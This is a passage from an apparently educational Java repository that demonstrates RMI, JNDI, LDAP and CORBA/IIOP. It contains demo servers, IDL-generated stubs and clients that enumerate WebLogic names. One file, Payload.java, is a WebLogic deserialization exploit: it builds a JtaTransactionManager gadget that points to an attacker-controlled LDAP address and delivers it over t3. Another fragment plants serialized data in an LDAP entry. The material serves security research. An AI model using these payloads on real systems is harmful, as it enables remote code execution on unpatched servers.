= new BasicAttribute("javaSerializedData", 34 | javaSerializedData); 35 | ModificationItem[] mods = new ModificationItem[3]; 36 | mods[0] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod1); 37 | mods[1] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod2); 38 | mods[2] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod3); 39 | ctx.modifyAttributes("uid=longofo,ou=employees,dc=example,dc=com", mods); 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /weblogic-rmi-client/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | rmi-jndi-ldap-jrmp 7 | com.longofo 8 | 1.0-SNAPSHOT 9 | 10 | 4.0.0 11 | 12 | weblogic-rmi-client 13 | 14 | 15 | 16 | com.alibaba 17 | fastjson 18 | 1.2.61 19 | 20 | 21 | 22 | 23 | 24 | 25 | org.apache.maven.plugins 26 | maven-jar-plugin 27 | 28 | 29 | 30 | true 31 | com.longofo.weblogicrmi.Client 32 | 33 | 34 | 35 | 36 | 37 | 38 | org.apache.maven.plugins 39 | maven-compiler-plugin 40 | 41 | 1.6 42 | 1.6 43 | 44 | 45 | 46 | 47 | 48 | -------------------------------------------------------------------------------- /java-rmi-server/src/main/java/com/longofo/javarmi/RMIServer2.java: -------------------------------------------------------------------------------- 1 | //RMIServer2.java 2 | package com.longofo.javarmi; 3 | 4 | import java.rmi.AlreadyBoundException; 5 | import java.rmi.RMISecurityManager; 6 | import java.rmi.RemoteException; 7 | import java.rmi.registry.LocateRegistry; 8 | import java.rmi.registry.Registry; 9 | import java.rmi.server.UnicastRemoteObject; 10 | 11 | public class RMIServer2 { 12 | /** 13 | * Java RMI 服务端 14 | * 15 | * @param args 16 | */ 17 | public static void main(String[] args) { 18 | try { 19 | // 实例化服务端远程对象 20 | ServicesImpl obj = new ServicesImpl(); 21 | // 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理 22 | Services services = (Services) UnicastRemoteObject.exportObject(obj, 0); 23 | Registry reg; 24 | try { 25 | //如果需要使用RMI的动态加载功能,需要开启RMISecurityManager,并配置policy以允许从远程加载类库 26 | System.setProperty("java.security.policy", RMIServer.class.getClassLoader().getResource("java.policy").getFile()); 27 | RMISecurityManager securityManager = new RMISecurityManager(); 28 | System.setSecurityManager(securityManager); 29 | 30 | // 创建Registry 31 | reg = LocateRegistry.createRegistry(9999); 32 | System.out.println("java RMI registry created. port on 9999..."); 33 | } catch (Exception e) { 34 | System.out.println("Using existing registry"); 35 | reg = LocateRegistry.getRegistry(); 36 | } 37 | //绑定远程对象到Registry 38 | reg.bind("Services", services); 39 | } catch (RemoteException e) { 40 | e.printStackTrace(); 41 | } catch (AlreadyBoundException e) { 42 | e.printStackTrace(); 43 | } 44 | } 45 | } -------------------------------------------------------------------------------- /corba-iiop/src/main/java/com/longofo/example/Server.java: -------------------------------------------------------------------------------- 1 | package com.longofo.example; 2 | 3 | import com.longofo.example.EchoApp.Echo; 4 | import com.longofo.example.EchoApp.EchoHelper; 5 | import org.omg.CORBA.ORB; 6 | import org.omg.CosNaming.NameComponent; 7 | import org.omg.CosNaming.NamingContextExt; 8 | import org.omg.CosNaming.NamingContextExtHelper; 9 | import org.omg.PortableServer.POA; 10 | import org.omg.PortableServer.POAHelper; 11 | 12 | public class Server { 13 | public static void main(String[] args) { 14 | if (args.length == 0) { 15 | args = new String[4]; 16 | args[0] = "-ORBInitialPort"; 17 | args[1] = "1050"; 18 | args[2] = "-ORBInitialHost"; 19 | args[3] = "localhost"; 20 | } 21 | 22 | try { 23 | //创建并初始化ORB 24 | ORB orb = ORB.init(args, null); 25 | 26 | //获取根POA的引用并激活POAManager 27 | POA rootpoa = POAHelper.narrow(orb.resolve_initial_references("RootPOA")); 28 | rootpoa.the_POAManager().activate(); 29 | 30 | //创建servant 31 | EchoImpl echoImpl = new EchoImpl(); 32 | 33 | //获取与servant关联的对象引用 34 | org.omg.CORBA.Object ref = rootpoa.servant_to_reference(echoImpl); 35 | Echo echoRef = EchoHelper.narrow(ref); 36 | 37 | //为所有CORBA ORB定义字符串"NameService"。当传递该字符串时,ORB返回一个命名上下文对象,该对象是名称服务的对象引用 38 | org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService"); 39 | NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef); 40 | 41 | NameComponent path[] = ncRef.to_name("ECHO-SERVER"); 42 | ncRef.rebind(path, echoRef); 43 | 44 | System.out.println("Server ready and waiting..."); 45 | 46 | //等待客户端调用 47 | orb.run(); 48 | } catch (Exception ex) { 49 | ex.printStackTrace(); 50 | } 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /ldap/src/main/java/com/longofo/LDAPRefServer.java: -------------------------------------------------------------------------------- 1 | package com.longofo; 2 | 3 | import com.unboundid.ldap.listener.InMemoryDirectoryServer; 4 | import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; 5 | import com.unboundid.ldap.listener.InMemoryListenerConfig; 6 | 7 | import javax.net.ServerSocketFactory; 8 | import javax.net.SocketFactory; 9 | import javax.net.ssl.SSLSocketFactory; 10 | import java.io.IOException; 11 | import java.net.InetAddress; 12 | 13 | 14 | /** 15 | * LDAP server implementation returning JNDI references 16 | * 17 | * @author mbechler 18 | */ 19 | public class LDAPRefServer { 20 | 21 | private static final String LDAP_BASE = "dc=example,dc=com"; 22 | 23 | 24 | public static void main(String[] args) throws IOException { 25 | int port = 1389; 26 | 27 | try { 28 | InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); 29 | config.setListenerConfigs(new InMemoryListenerConfig( 30 | "listen", //$NON-NLS-1$ 31 | InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ 32 | port, 33 | ServerSocketFactory.getDefault(), 34 | SocketFactory.getDefault(), 35 | (SSLSocketFactory) SSLSocketFactory.getDefault())); 36 | 37 | config.setSchema(null); 38 | config.setEnforceAttributeSyntaxCompliance(false); 39 | config.setEnforceSingleStructuralObjectClass(false); 40 | 41 | InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); 42 | ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectclass: domain"); 43 | ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top"); 44 | ds.add("dn: " + "uid=longofo,ou=employees,dc=example,dc=com", "objectClass: ExportObject"); 45 | 46 | System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ 47 | ds.startListening(); 48 | 49 | } catch (Exception e) { 50 | e.printStackTrace(); 51 | } 52 | } 53 | } 54 | -------------------------------------------------------------------------------- /ldap/src/main/java/com/longofo/LDAPSeriServer.java: -------------------------------------------------------------------------------- 1 | package com.longofo; 2 | 3 | import com.unboundid.ldap.listener.InMemoryDirectoryServer; 4 | import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; 5 | import com.unboundid.ldap.listener.InMemoryListenerConfig; 6 | 7 | import javax.net.ServerSocketFactory; 8 | import javax.net.SocketFactory; 9 | import javax.net.ssl.SSLSocketFactory; 10 | import java.io.IOException; 11 | import java.net.InetAddress; 12 | 13 | 14 | /** 15 | * LDAP server implementation returning JNDI references 16 | * 17 | * @author mbechler 18 | */ 19 | public class LDAPSeriServer { 20 | 21 | private static final String LDAP_BASE = "dc=example,dc=com"; 22 | 23 | 24 | public static void main(String[] args) throws IOException { 25 | int port = 1389; 26 | 27 | try { 28 | InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); 29 | config.setListenerConfigs(new InMemoryListenerConfig( 30 | "listen", //$NON-NLS-1$ 31 | InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ 32 | port, 33 | ServerSocketFactory.getDefault(), 34 | SocketFactory.getDefault(), 35 | (SSLSocketFactory) SSLSocketFactory.getDefault())); 36 | 37 | config.setSchema(null); 38 | config.setEnforceAttributeSyntaxCompliance(false); 39 | config.setEnforceSingleStructuralObjectClass(false); 40 | 41 | InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); 42 | ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectclass: domain"); 43 | ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top"); 44 | ds.add("dn: " + "uid=longofo,ou=employees,dc=example,dc=com", "objectClass: ExportObject"); 45 | 46 | System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ 47 | ds.startListening(); 48 | 49 | } catch (Exception e) { 50 | e.printStackTrace(); 51 | } 52 | } 53 | } 54 | -------------------------------------------------------------------------------- /corba-iiop/src/main/java/com/longofo/example/EchoApp/EchoPOA.java: -------------------------------------------------------------------------------- 1 | package com.longofo.example.EchoApp; 2 | 3 | 4 | /** 5 | * EchoApp/EchoPOA.java . 6 | * Generated by the IDL-to-Java compiler (portable), version "3.2" 7 | * from Echo.idl 8 | * Friday, June 29, 2018 4:29:11 PM EAT 9 | */ 10 | 11 | public abstract class EchoPOA extends org.omg.PortableServer.Servant 12 | implements EchoOperations, org.omg.CORBA.portable.InvokeHandler 13 | { 14 | 15 | // Constructors 16 | 17 | private static java.util.Hashtable _methods = new java.util.Hashtable (); 18 | static 19 | { 20 | _methods.put ("echoString", new Integer (0)); 21 | } 22 | 23 | public org.omg.CORBA.portable.OutputStream _invoke (String $method, 24 | org.omg.CORBA.portable.InputStream in, 25 | org.omg.CORBA.portable.ResponseHandler $rh) 26 | { 27 | org.omg.CORBA.portable.OutputStream out = null; 28 | Integer __method = (Integer)_methods.get ($method); 29 | if (__method == null) 30 | throw new org.omg.CORBA.BAD_OPERATION (0, org.omg.CORBA.CompletionStatus.COMPLETED_MAYBE); 31 | 32 | switch (__method.intValue ()) 33 | { 34 | case 0: // EchoApp/Echo/echoString 35 | { 36 | String $result = null; 37 | $result = this.echoString (); 38 | out = $rh.createReply(); 39 | out.write_string ($result); 40 | break; 41 | } 42 | 43 | default: 44 | throw new org.omg.CORBA.BAD_OPERATION (0, org.omg.CORBA.CompletionStatus.COMPLETED_MAYBE); 45 | } 46 | 47 | return out; 48 | } // _invoke 49 | 50 | // Type-specific CORBA::Object operations 51 | private static String[] __ids = { 52 | "IDL:EchoApp/Echo:1.0"}; 53 | 54 | public String[] _all_interfaces (org.omg.PortableServer.POA poa, byte[] objectId) 55 | { 56 | return (String[])__ids.clone (); 57 | } 58 | 59 | public Echo _this() 60 | { 61 | return EchoHelper.narrow( 62 | super._this_object()); 63 | } 64 | 65 | public Echo _this(org.omg.CORBA.ORB orb) 66 | { 67 | return EchoHelper.narrow( 68 | super._this_object(orb)); 69 | } 70 | 71 | 72 | } // class EchoPOA 73 | -------------------------------------------------------------------------------- /weblogic-rmi-client/src/main/java/com/longofo/weblogicrmi/Payload.java: -------------------------------------------------------------------------------- 1 | package com.longofo.weblogicrmi; 2 | 3 | import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager; 4 | 5 | import javax.naming.Context; 6 | import javax.naming.InitialContext; 7 | import javax.naming.NamingException; 8 | import java.io.*; 9 | import java.util.Hashtable; 10 | 11 | public class Payload implements Serializable { 12 | /** 13 | * 尝试调用远程接口不存在的方法 14 | */ 15 | public final static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory"; 16 | 17 | private void writeObject(ObjectOutputStream out) throws IOException { 18 | String jndiAddress = "ldap://x.x.x.x:1389/Object"; 19 | //实例化JtaTransactionManager 对象,并且初始化UserTransactionName成员变量 20 | JtaTransactionManager jtaTransactionManager = new JtaTransactionManager(); 21 | jtaTransactionManager.setUserTransactionName(jndiAddress); 22 | 23 | out.writeObject(jtaTransactionManager); 24 | out.writeObject(jtaTransactionManager); 25 | } 26 | 27 | private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException, NamingException { 28 | InitialContext initialContext = getInitialContext("t3://192.168.192.135:7001"); 29 | IHello iHello = (IHello) initialContext.lookup("HelloServer"); 30 | iHello.readObject(in); 31 | } 32 | 33 | private InitialContext getInitialContext(String url) throws NamingException { 34 | Hashtable env = new Hashtable(); 35 | env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); 36 | env.put(Context.PROVIDER_URL, url); 37 | return new InitialContext(env); 38 | } 39 | 40 | public static void main(String[] args) throws IOException, ClassNotFoundException { 41 | Payload replace = new Payload(); 42 | File f = new File("payload.ser"); 43 | ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); 44 | out.writeObject(replace); 45 | out.flush(); 46 | out.close(); 47 | 48 | File f1 = new File("payload.ser"); 49 | ObjectInputStream in = new ObjectInputStream(new FileInputStream(f1)); 50 | in.readObject(); 51 | in.close(); 52 | } 53 | } 54 | -------------------------------------------------------------------------------- /corba-iiop/src/main/java/com/longofo/example/EchoApp/_EchoStub.java: -------------------------------------------------------------------------------- 1 | package com.longofo.example.EchoApp; 2 | 3 | 4 | /** 5 | * EchoApp/_EchoStub.java . 6 | * Generated by the IDL-to-Java compiler (portable), version "3.2" 7 | * from Echo.idl 8 | * Friday, June 29, 2018 4:29:11 PM EAT 9 | */ 10 | 11 | public class _EchoStub extends org.omg.CORBA.portable.ObjectImpl implements Echo 12 | { 13 | 14 | public String echoString () 15 | { 16 | org.omg.CORBA.portable.InputStream $in = null; 17 | try { 18 | org.omg.CORBA.portable.OutputStream $out = _request ("echoString", true); 19 | $in = _invoke ($out); 20 | String $result = $in.read_string (); 21 | return $result; 22 | } catch (org.omg.CORBA.portable.ApplicationException $ex) { 23 | $in = $ex.getInputStream (); 24 | String _id = $ex.getId (); 25 | throw new org.omg.CORBA.MARSHAL (_id); 26 | } catch (org.omg.CORBA.portable.RemarshalException $rm) { 27 | return echoString ( ); 28 | } finally { 29 | _releaseReply ($in); 30 | } 31 | } // echoString 32 | 33 | // Type-specific CORBA::Object operations 34 | private static String[] __ids = { 35 | "IDL:EchoApp/Echo:1.0"}; 36 | 37 | public String[] _ids () 38 | { 39 | return (String[])__ids.clone (); 40 | } 41 | 42 | private void readObject (java.io.ObjectInputStream s) throws java.io.IOException 43 | { 44 | String str = s.readUTF (); 45 | String[] args = null; 46 | java.util.Properties props = null; 47 | org.omg.CORBA.ORB orb = org.omg.CORBA.ORB.init (args, props); 48 | try { 49 | org.omg.CORBA.Object obj = orb.string_to_object (str); 50 | org.omg.CORBA.portable.Delegate delegate = ((org.omg.CORBA.portable.ObjectImpl) obj)._get_delegate (); 51 | _set_delegate (delegate); 52 | } finally { 53 | orb.destroy() ; 54 | } 55 | } 56 | 57 | private void writeObject (java.io.ObjectOutputStream s) throws java.io.IOException 58 | { 59 | String[] args = null; 60 | java.util.Properties props = null; 61 | org.omg.CORBA.ORB orb = org.omg.CORBA.ORB.init (args, props); 62 | try { 63 | String str = orb.object_to_string (this); 64 | s.writeUTF (str); 65 | } finally { 66 | orb.destroy() ; 67 | } 68 | } 69 | } // class _EchoStub 70 | -------------------------------------------------------------------------------- /corba-iiop/src/main/java/com/longofo/example/EchoApp/EchoHelper.java: -------------------------------------------------------------------------------- 1 | package com.longofo.example.EchoApp; 2 | 3 | 4 | /** 5 | * EchoApp/EchoHelper.java . 6 | * Generated by the IDL-to-Java compiler (portable), version "3.2" 7 | * from Echo.idl 8 | * Friday, June 29, 2018 4:29:11 PM EAT 9 | */ 10 | 11 | abstract public class EchoHelper 12 | { 13 | private static String _id = "IDL:EchoApp/Echo:1.0"; 14 | 15 | public static void insert (org.omg.CORBA.Any a, Echo that) 16 | { 17 | org.omg.CORBA.portable.OutputStream out = a.create_output_stream (); 18 | a.type (type ()); 19 | write (out, that); 20 | a.read_value (out.create_input_stream (), type ()); 21 | } 22 | 23 | public static Echo extract (org.omg.CORBA.Any a) 24 | { 25 | return read (a.create_input_stream ()); 26 | } 27 | 28 | private static org.omg.CORBA.TypeCode __typeCode = null; 29 | synchronized public static org.omg.CORBA.TypeCode type () 30 | { 31 | if (__typeCode == null) 32 | { 33 | __typeCode = org.omg.CORBA.ORB.init ().create_interface_tc (EchoHelper.id (), "Echo"); 34 | } 35 | return __typeCode; 36 | } 37 | 38 | public static String id () 39 | { 40 | return _id; 41 | } 42 | 43 | public static Echo read (org.omg.CORBA.portable.InputStream istream) 44 | { 45 | return narrow (istream.read_Object (_EchoStub.class)); 46 | } 47 | 48 | public static void write (org.omg.CORBA.portable.OutputStream ostream, Echo value) 49 | { 50 | ostream.write_Object ((org.omg.CORBA.Object) value); 51 | } 52 | 53 | public static Echo narrow (org.omg.CORBA.Object obj) 54 | { 55 | if (obj == null) 56 | return null; 57 | else if (obj instanceof Echo) 58 | return (Echo)obj; 59 | else if (!obj._is_a (id ())) 60 | throw new org.omg.CORBA.BAD_PARAM (); 61 | else 62 | { 63 | org.omg.CORBA.portable.Delegate delegate = ((org.omg.CORBA.portable.ObjectImpl)obj)._get_delegate (); 64 | _EchoStub stub = new _EchoStub(); 65 | stub._set_delegate(delegate); 66 | return stub; 67 | } 68 | } 69 | 70 | public static Echo unchecked_narrow (org.omg.CORBA.Object obj) 71 | { 72 | if (obj == null) 73 | return null; 74 | else if (obj instanceof Echo) 75 | return (Echo)obj; 76 | else 77 | { 78 | org.omg.CORBA.portable.Delegate delegate = ((org.omg.CORBA.portable.ObjectImpl)obj)._get_delegate (); 79 | _EchoStub stub = new _EchoStub(); 80 | stub._set_delegate(delegate); 81 | return stub; 82 | } 83 | } 84 | 85 | } 86 | -------------------------------------------------------------------------------- /weblogic-rmi-iiop/src/main/java/com/longofo/Client.java: -------------------------------------------------------------------------------- 1 | package com.longofo; 2 | 3 | import com.alibaba.fastjson.JSON; 4 | 5 | import javax.naming.*; 6 | import java.io.IOException; 7 | import java.util.HashMap; 8 | import java.util.Hashtable; 9 | import java.util.Map; 10 | 11 | public class Client { 12 | public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory"; 13 | 14 | public static void main(String[] args) throws NamingException, IOException, ClassNotFoundException { 15 | InitialContext initialContext = getInitialContext("iiop://127.0.0.1:7001"); 16 | System.out.println(JSON.toJSONString(listAllEntries(initialContext), true)); 17 | 18 | } 19 | 20 | private static Map listAllEntries(Context initialContext) throws NamingException { 21 | String namespace = initialContext instanceof InitialContext ? initialContext.getNameInNamespace() : ""; 22 | HashMap map = new HashMap(); 23 | System.out.println("> Listing namespace: " + namespace); 24 | NamingEnumeration list = initialContext.list(namespace); 25 | while (list.hasMoreElements()) { 26 | NameClassPair next = list.next(); 27 | String name = next.getName(); 28 | String jndiPath = namespace + name; 29 | HashMap lookup = new HashMap(); 30 | try { 31 | System.out.println("> Looking up name: " + jndiPath); 32 | Object tmp = initialContext.lookup(jndiPath); 33 | if (tmp instanceof Context) { 34 | lookup.put("class", tmp.getClass()); 35 | lookup.put("interfaces", tmp.getClass().getInterfaces()); 36 | Map entries = listAllEntries((Context) tmp); 37 | for (Map.Entry entry : entries.entrySet()) { 38 | String key = entry.getKey(); 39 | if (key != null) { 40 | lookup.put(key, entries.get(key)); 41 | break; 42 | } 43 | } 44 | } else { 45 | lookup.put("class", tmp.getClass()); 46 | lookup.put("interfaces", tmp.getClass().getInterfaces()); 47 | } 48 | } catch (Throwable t) { 49 | lookup.put("error msg", t.toString()); 50 | Object tmp = initialContext.lookup(jndiPath); 51 | lookup.put("class", tmp.getClass()); 52 | lookup.put("interfaces", tmp.getClass().getInterfaces()); 53 | } 54 | map.put(name, lookup); 55 | 56 | } 57 | return map; 58 | } 59 | 60 | private static InitialContext getInitialContext(String url) throws NamingException { 61 | Hashtable env = new Hashtable(); 62 | env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); 63 | env.put(Context.PROVIDER_URL, url); 64 | return new InitialContext(env); 65 | } 66 | } 67 | -------------------------------------------------------------------------------- /corba-iiop/src/main/java/com/longofo/example/JndiClient.java: -------------------------------------------------------------------------------- 1 | package com.longofo.example; 2 | 3 | import com.alibaba.fastjson.JSON; 4 | import com.longofo.example.EchoApp.Echo; 5 | import com.longofo.example.EchoApp.EchoHelper; 6 | 7 | import javax.naming.*; 8 | import java.io.IOException; 9 | import java.util.HashMap; 10 | import java.util.Hashtable; 11 | import java.util.Map; 12 | 13 | public class JndiClient { 14 | /** 15 | * 列出名称 16 | */ 17 | public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory"; 18 | 19 | public static void main(String[] args) throws NamingException, IOException, ClassNotFoundException { 20 | InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050"); 21 | System.out.println(JSON.toJSONString(listAllEntries(initialContext), true)); 22 | 23 | System.out.println("-----------call remote method--------------"); 24 | Echo echoRef = EchoHelper.narrow((org.omg.CORBA.Object) initialContext.lookup("ECHO-SERVER")); 25 | System.out.println(echoRef.echoString()); 26 | } 27 | 28 | private static Map listAllEntries(Context initialContext) throws NamingException { 29 | String namespace = initialContext instanceof InitialContext ? initialContext.getNameInNamespace() : ""; 30 | HashMap map = new HashMap(); 31 | System.out.println("> Listing namespace: " + namespace); 32 | NamingEnumeration list = initialContext.list(namespace); 33 | while (list.hasMoreElements()) { 34 | NameClassPair next = list.next(); 35 | String name = next.getName(); 36 | String jndiPath = namespace + name; 37 | HashMap lookup = new HashMap(); 38 | try { 39 | System.out.println("> Looking up name: " + jndiPath); 40 | Object tmp = initialContext.lookup(jndiPath); 41 | if (tmp instanceof Context) { 42 | lookup.put("class", tmp.getClass()); 43 | lookup.put("interfaces", tmp.getClass().getInterfaces()); 44 | Map entries = listAllEntries((Context) tmp); 45 | for (Map.Entry entry : entries.entrySet()) { 46 | String key = entry.getKey(); 47 | if (key != null) { 48 | lookup.put(key, entries.get(key)); 49 | break; 50 | } 51 | } 52 | } else { 53 | lookup.put("class", tmp.getClass()); 54 | lookup.put("interfaces", tmp.getClass().getInterfaces()); 55 | } 56 | } catch (Throwable t) { 57 | lookup.put("error msg", t.toString()); 58 | Object tmp = initialContext.lookup(jndiPath); 59 | lookup.put("class", tmp.getClass()); 60 | lookup.put("interfaces", tmp.getClass().getInterfaces()); 61 | } 62 | map.put(name, lookup); 63 | 64 | } 65 | return map; 66 | } 67 | 68 | private static InitialContext getInitialContext(String url) throws NamingException { 69 | Hashtable env = new Hashtable(); 70 | env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); 71 | env.put(Context.PROVIDER_URL, url); 72 | return new InitialContext(env); 73 | } 74 | } 75 | -------------------------------------------------------------------------------- /weblogic-rmi-client/src/main/java/com/longofo/weblogicrmi/Client.java: -------------------------------------------------------------------------------- 1 | package com.longofo.weblogicrmi; 2 | 3 | import com.alibaba.fastjson.JSON; 4 | import weblogic.rmi.extensions.server.RemoteWrapper; 5 | 6 | import javax.naming.*; 7 | import java.io.IOException; 8 | import java.util.HashMap; 9 | import java.util.Hashtable; 10 | import java.util.Map; 11 | 12 | public class Client { 13 | /** 14 | * 列出Weblogic有哪些可以远程调用的对象 15 | */ 16 | public final static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory"; 17 | 18 | public static void main(String[] args) throws NamingException, IOException, ClassNotFoundException { 19 | //Weblogic RMI和Web服务共用7001端口 20 | //可直接传入t3://或者rmi://或者ldap://等,JNDI会自动根据协议创建上下文环境 21 | InitialContext initialContext = getInitialContext("t3://127.0.0.1:7001"); 22 | System.out.println(JSON.toJSONString(listAllEntries(initialContext), true)); 23 | 24 | //尝试调用ejb上绑定的对象的方法getRemoteDelegate 25 | //weblogic.jndi.internal.WLContextImpl类继承的远程接口为RemoteWrapper,可以自己在jar包中看下,我们客户端只需要写一个包名和类名与服务器上的一样即可 26 | RemoteWrapper remoteWrapper = (RemoteWrapper) initialContext.lookup("ejb"); 27 | System.out.println(remoteWrapper.getRemoteDelegate()); 28 | } 29 | 30 | private static Map listAllEntries(Context initialContext) throws NamingException { 31 | String namespace = initialContext instanceof InitialContext ? initialContext.getNameInNamespace() : ""; 32 | HashMap map = new HashMap(); 33 | System.out.println("> Listing namespace: " + namespace); 34 | NamingEnumeration list = initialContext.list(namespace); 35 | while (list.hasMoreElements()) { 36 | NameClassPair next = list.next(); 37 | String name = next.getName(); 38 | String jndiPath = namespace + name; 39 | HashMap lookup = new HashMap(); 40 | try { 41 | System.out.println("> Looking up name: " + jndiPath); 42 | Object tmp = initialContext.lookup(jndiPath); 43 | if (tmp instanceof Context) { 44 | lookup.put("class", tmp.getClass()); 45 | lookup.put("interfaces", tmp.getClass().getInterfaces()); 46 | Map entries = listAllEntries((Context) tmp); 47 | for (Map.Entry entry : entries.entrySet()) { 48 | String key = entry.getKey(); 49 | if (key != null) { 50 | lookup.put(key, entries.get(key)); 51 | break; 52 | } 53 | } 54 | } else { 55 | lookup.put("class", tmp.getClass()); 56 | lookup.put("interfaces", tmp.getClass().getInterfaces()); 57 | } 58 | } catch (Throwable t) { 59 | lookup.put("error msg", t.getMessage()); 60 | Object tmp = initialContext.lookup(jndiPath); 61 | lookup.put("class", tmp.getClass()); 62 | lookup.put("interfaces", tmp.getClass().getInterfaces()); 63 | } 64 | map.put(name, lookup); 65 | 66 | } 67 | return map; 68 | } 69 | 70 | private static InitialContext getInitialContext(String url) throws NamingException { 71 | Hashtable env = new Hashtable(); 72 | env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); 73 | env.put(Context.PROVIDER_URL, url); 74 | return new InitialContext(env); 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /.idea/uiDesigner.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | -------------------------------------------------------------------------------- /.idea/workspace.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 38 | 39 | 41 | 42 | 52 | 53 | 287 | 288 | 289 | 290 | 295 | 296 | 297 | 298 | 299 | 300 | 301 | 302 | 303 | 304 | 305 | 306 | 307 | 308 | 309 | 310 | 311 | 312 | 313 | 314 | 315 | 316 | 317 | 318 | 319 | 320 | 321 | 322 | 323 | 324 | 325 | 326 | 327 | 328 | 329 | 330 | 331 | 332 | 333 | 334 | 335 | 336 | 337 | 338 | 339 | 340 | 341 | 342 | 343 | 344 | 345 | 346 | 347 | 348 | 349 | 350 | 351 | 352 | 353 | 354 | 355 | 356 | 357 | 358 | 359 | 360 | 361 | 362 | 363 | 364 | 365 | 366 | 367 | 368 | 369 | 370 | 371 | 372 | 373 | 374 | 375 | 376 | 377 | 378 | 379 | 380 | 381 | 382 | 383 | 384 | 385 | 386 | 387 | 388 | 389 | 390 | 391 | 392 | 393 | 394 | 395 | 396 | 397 | 398 | 399 | 400 | 401 | 402 | 403 | 404 | 405 | 406 | 407 | 408 | 409 | 410 | 411 | 412 | 413 | 414 | 415 | 416 | 417 | 418 | 419 | 420 | 421 | 422 | 423 | 424 | 425 | 426 | 427 | 428 | 429 | 430 | 431 | 432 | 433 | 434 | 435 | 436 | 437 |